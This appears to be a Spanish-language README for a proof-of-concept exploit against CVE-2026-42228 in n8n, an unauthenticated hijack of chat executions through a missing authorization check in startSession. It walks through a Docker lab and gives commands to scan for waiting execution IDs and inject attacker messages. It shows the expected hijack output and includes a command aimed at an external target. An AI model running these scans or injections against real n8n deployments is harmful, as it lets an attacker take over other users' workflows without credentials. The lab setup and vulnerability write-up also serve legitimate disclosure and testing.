
Prueba de concepto del exploit para CVE-2026-42228, una vulnerabilidad de secuestro de ejecución de chat sin autenticación en n8n, con scripts automatizados de escaneo y ataque.
CVE: CVE-2026-42228
Severidad: Alta
Afectado: n8n < 1.123.32
Corregido en: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession() acepta un executionId de la cadena de
consulta del WebSocket y solo comprueba que la ejecución exista en la base de
datos. Nunca verifica que el llamador esté autorizado para acceder a esa
ejecución.
Un atacante no autenticado que conozca (o pueda enumerar) un ID de ejecución numérico válido para una ejecución en estado waiting puede:
/chat sin credenciales.Requisitos previos:
waiting.chmod +x exploit.sh
./exploit.sh setup
Esto descarga n8nio/n8n:1.123.22 (última versión afectada), construye la
imagen del atacante e inicia el objetivo vulnerable en http://localhost:5678.
http://localhost:5678 y complete el asistente de configuración (cualquier credencial).Abra la URL de Chat pública que se muestra en el nodo Chat Trigger y envíe un mensaje. La ejecución entrará en estado waiting, pausada para la siguiente respuesta de chat.
./exploit.sh scan
# o especifique un rango:
./exploit.sh scan 1 500
Salida esperada cuando se encuentra una ejecución vulnerable:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# o con un payload personalizado:
./exploit.sh attack 7 "custom injected message"
De vuelta en el editor de n8n, el flujo de trabajo se reanuda con el mensaje inyectado por el atacante en lugar de la entrada del usuario legítimo.
# Construir la imagen del atacante
docker build -t n8n-chat-hijack-poc .
# Escanear (se conecta a la red compartida del laboratorio)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# Atacar una ejecución específica
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# Contra un objetivo externo (sin necesidad de flag de red)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
Detiene los contenedores y elimina los volúmenes (incluida la base de datos SQLite).
| Archivo | Descripción |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | PoC de Python independiente |
Dockerfile |
| Imagen del contenedor del atacante |
docker-compose.yml | Laboratorio completo: n8n vulnerable + atacante |
exploit.sh | Script auxiliar para operaciones comunes |